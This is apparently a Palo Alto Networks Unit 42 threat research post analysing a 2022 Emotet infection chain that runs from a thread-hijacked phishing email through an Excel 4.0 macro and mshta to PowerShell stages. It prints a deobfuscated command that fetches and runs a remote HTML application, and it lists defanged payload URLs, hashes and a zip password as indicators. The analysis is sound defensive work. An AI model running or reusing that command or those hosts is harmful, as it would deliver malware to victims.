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New Emotet Infection Method ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 5 min read Related Products [![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Saqib Khanzada](https://unit42.paloaltonetworks.com/author/saqib-khanzada/) * [Tyler Halfpop](https://unit42.paloaltonetworks.com/author/tyler-halfpop/) * [Micah Yates](https://unit42.paloaltonetworks.com/author/micah-yates/) * [Brad Duncan](https://unit42.paloaltonetworks.com/author/brad-duncan/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:February 15, 2022 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Emotet](https://unit42.paloaltonetworks.com/tag/emotet/) * [Macros](https://unit42.paloaltonetworks.com/tag/macros/) * [Phishing](https://unit42.paloaltonetworks.com/tag/phishing/) * [Windows](https://unit42.paloaltonetworks.com/tag/windows/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/new-emotet-infection-method/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/new-emotet-infection-method/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=New%20Emotet%20Infection%20Method&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F&title=New%20Emotet%20Infection%20Method "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F&text=New%20Emotet%20Infection%20Method "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=New%20Emotet%20Infection%20Method%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-emotet-infection-method%2F "Share in Mastodon") ## Executive Summary As early as Dec. 21, 2021, Unit 42 observed a new infection method for the highly prevalent malware family Emotet. Emotet is high-volume malware that often changes and modifies its attack patterns. This latest modification of the Emotet attack follows suit. The new attack delivers an Excel file through email, and the document contains an obfuscated Excel 4.0 macro. When the macro is activated, it downloads and executes an HTML application that downloads two stages of PowerShell to retrieve and execute the final Emotet payload. Palo Alto Networks customers are protected from Emotet and similar malware families using similar obfuscation techniques with [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) or the [Next-Generation Firewall](https://www.paloaltonetworks.com/network-security/next-generation-firewall) with the [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) and [Threat Prevention](https://www.paloaltonetworks.com/network-security/threat-prevention) security subscriptions. |---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Primary Malware Discussed | [Emotet](https://unit42.paloaltonetworks.com/tag/Emotet/) | | Operating System Affected | Windows | | Related Unit 42 Topics | [Malware](https://unit42.paloaltonetworks.com/category/malware-2/), [macros](https://unit42.paloaltonetworks.com/tag/macros/), [phishing](https://unit42.paloaltonetworks.com/tag/phishing/) | ## History of Emotet Emotet was first discovered as a banking trojan in 2014, and it has been very active in recent years. In January 2021, law enforcement and judicial agencies [took down the Emotet botnet infrastructure](https://www.europol.europa.eu/media-press/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action), but Emotet [returned in November 2021](https://isc.sans.edu/forums/diary/Emotet+Returns/28044/) and has remained active since then. Emotet frequently uses thread hijacking as part of its attack method. As described in [our previous blog on Emotet's thread hijacking](https://unit42.paloaltonetworks.com/emotet-thread-hijacking/), this technique generates fake replies based on legitimate emails stolen from mail clients of Windows hosts previously infected with Emotet. The botnet uses this stolen email data to create fake replies impersonating the original senders. Using thread hijacking and other types of emails, Emotet has implemented different infection methods since its return. Most notable were emails with links to install a [fake Adobe Windows App Installer Package in December 2021](https://www.bleepingcomputer.com/news/security/emotet-now-spreads-via-fake-adobe-windows-app-installer-packages/). After a holiday break, Emotet returned to attachment-based emails in January 2022. As early as Dec. 21, 2021, Emotet started using a new infection method, which we describe in this blog. In some cases, Emotet uses a password-protected zip archive as an attachment to its email. In other cases, Emotet uses an Excel spreadsheet directly attached to the email. ## Example of an Initial Email Lure Shown in Figure 1, this example of an initial email lure sent by Emotet is a recent example of Emotet's thread hijacking. The stolen email thread is from June 2021, and this email was sent by the Emotet botnet on Jan. 27, 2022. This example contains an encrypted zip file in an attempt to bypass security systems. The password to the zip file is included in the email, so that the victim can extract the contents. ![Example of a thread-hijacked Emotet email lure sent on Jan. 27, 2022.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/Figure-1-Redacted.jpg) Figure 1. Example of a thread-hijacked Emotet email lure sent on Jan. 27, 2022. ## Excel Document The encrypted zip file contains a single Excel document with Excel 4.0 macros. These macros are an old Excel feature that is frequently abused by malicious actors. The victim must enable macros on a vulnerable Windows host before the malicious content is activated. ![A screenshot of an Excel 4.0 macro document. These macros are frequently abused by malicious actors, and the new Emotet infection method discussed here is no exception.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-10.png) Figure 2. Excel 4.0 macro document. When the macro code is enabled, it executes cmd.exe to run mshta.exe with an argument to retrieve and execute a remote HTML application. The code utilizes hex and character obfuscation in order to attempt to bypass static detection measures. The deobfuscated command string that is executed is: cmd /c mshta hxxp://91.240.118\[.\]168/se/s.html ![Excel 4.0 macro code that executes cmd and mshta.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-11.png) Figure 3. Excel 4.0 macro code that executes cmd and mshta. The HTML application shown in Figure 4 is highly obfuscated. It will download and execute additional PowerShell code. ![Obfuscated HTML application.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-12.png) Figure 4. Obfuscated HTML application. ## PowerShell The initial obfuscated PowerShell script shown in Figure 5 connects to hxxp://91.240.118\[.\]168/se/s.png. This URL returns text-based script for a second-stage set of PowerShell code designed to retrieve an Emotet binary. ![Initial PowerShell downloader.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-13.png) Figure 5. Initial PowerShell downloader. This second-stage PowerShell code shown in Figure 6 contains 14 URLs to retrieve the Emotet binary. The script attempts each URL until an Emotet binary is successfully downloaded. Having multiple URLs makes this attack more resilient in the event that one of the URLs is taken down. ![HTTP traffic showing the second-stage PowerShell code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-14.png) Figure 6. HTTP traffic showing the second-stage PowerShell code. The Emotet DLL loads an encrypted PE from its resource section as the final stage of this attack chain. ![Emotet DLL with an encrypted PE from its resource section.](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/02/word-image-15.png) Figure 7. Emotet DLL with an encrypted PE from its resource section. ## Conclusion Emotet is a highly-active malware family that frequently changes its infection techniques. These changes are likely an attempt to avoid detection. Emotet's new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload. Palo Alto Networks customers are protected from malware families using similar obfuscation techniques with Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions. ## Indicators of Compromise ### Appendix A: Files From Emotet Email Lure on Jan. 27, 2022 SHA256 hash: 9f22626232934970e4851467b7b746578f0f149984cd0e4e1a156b391727fac9 File size: 40,929 bytes File name: form.zip File description: Password-protected encrypted zip archive seen on Jan. 27, 2022 Password: EHGWQARLC SHA256 hash: 6d55f25222831cce73fd9a64a8e5a63b002522dc2637bd2704f77168c7c02d88 File size: 77,989 bytes File name: form.xlsm File description: Excel file with Excel 4.0 macros extracted from the above zip archive ### Appendix B: PowerShell Script Seen on Jan. 27, 2022 SHA256 hash: 9bda03babb0f2c6aa9861eca95b33af06a650e2851cce4edcc1fc3abd8e7c2a1 File size: 10,986 bytes File location: hxxp://91.240.118\[.\]168/se/s.html File description: First-stage PowerShell script SHA256 hash: 5bd4987db7e6946bf2ca3f73e17d6f75e2d8217df63b2f7763ea9a6ebcaf9fed File size: 1,353 bytes File location: hxxp://91.240.118\[.\]168/se/s.png File description: Second-stage PowerShell script ### Appendix C: URLs Hosting the Emotet DLL on Jan. 27, 2022 hxxp://unifiedpharma\[.\]com/wp-content/5arxM/ hxxp://hotelamerpalace\[.\]com/Fox-C404/LEPqPJpt4Gbr8BHAn/ hxxps://connecticutsfinestmovers\[.\]com/Fox-C/mVwOqxT17gVWaE8E/ hxxp://icfacn\[.\]com/runtime/n7qA2YStudp/ hxxps://krezol-group\[.\]com:443/images/PmLGLKYeCBs5d/ hxxp://ledcaopingdeng\[.\]com/wp-includes/Qq39yj7fpvk/ hxxp://autodiscover.karlamejia\[.\]com/wp-admin/hcdnVlRIiwvTVrJjJEE/ hxxps://crmweb\[.\]info:443/bitrix/rc9XjtwF/ hxxp://accessunited-bank\[.\]com/admin/hzIgVwq8btak/ hxxp://pigij\[.\]com/wp-admin/MVW5/ hxxp://artanddesign\[.\]one/wp-content/uploads/A2cZL7/ hxxp://strawberry.kids-singer\[.\]net/assets\_c/WAdvNT84Dmu/ hxxps://eleccom\[.\]shop:443/services/AEjSDj/ hxxps://izocab\[.\]com/nashi-klienty/B5SC/ ### Appendix D: Example of Emotet DLL on Jan. 27, 2022 SHA256 hash: 2de72908e0a1ef97e4e06d8b1ba3dc0d76f580cdf36f96b5c919bea770b2805f File size: 516,096 bytes File location: hxxp://unifiedpharma\[.\]com/wp-content/5arxM/ File location: C:\\Users\\Public\\Documents\\ssd.dll File location: C:\\Users\\\[username\]\\AppData\\Local\\\[random characters\]\\\[random characters\].\[random characters\] Run method: rundll32.exe \[filename\],\[any string\] *Updated Feb. 15, 2022, to list earlier dates of initial observation of the infection method.* Back to top ### Tags * [Emotet](https://unit42.paloaltonetworks.com/tag/emotet/ "Emotet") * [Macros](https://unit42.paloaltonetworks.com/tag/macros/ "Macros") * [Phishing](https://unit42.paloaltonetworks.com/tag/phishing/ "phishing") * [Windows](https://unit42.paloaltonetworks.com/tag/windows/ "Windows") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Russia's Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine](https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/ "Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine") ### Table of Contents * ### Related Articles * [Russian Global Webmail Espionage](https://unit42.paloaltonetworks.com/russian-webmail-espionage/ "article - table of contents") * [Phantom Squatting: AI-Hallucinated Domains as a Software Supply Chain Vector](https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/ "article - table of contents") * [When "Hi, This Is IT" Comes Through Microsoft Teams](https://unit42.paloaltonetworks.com/microsoft-teams-phishing/ "article - table of contents") ## Related Malware Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. 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The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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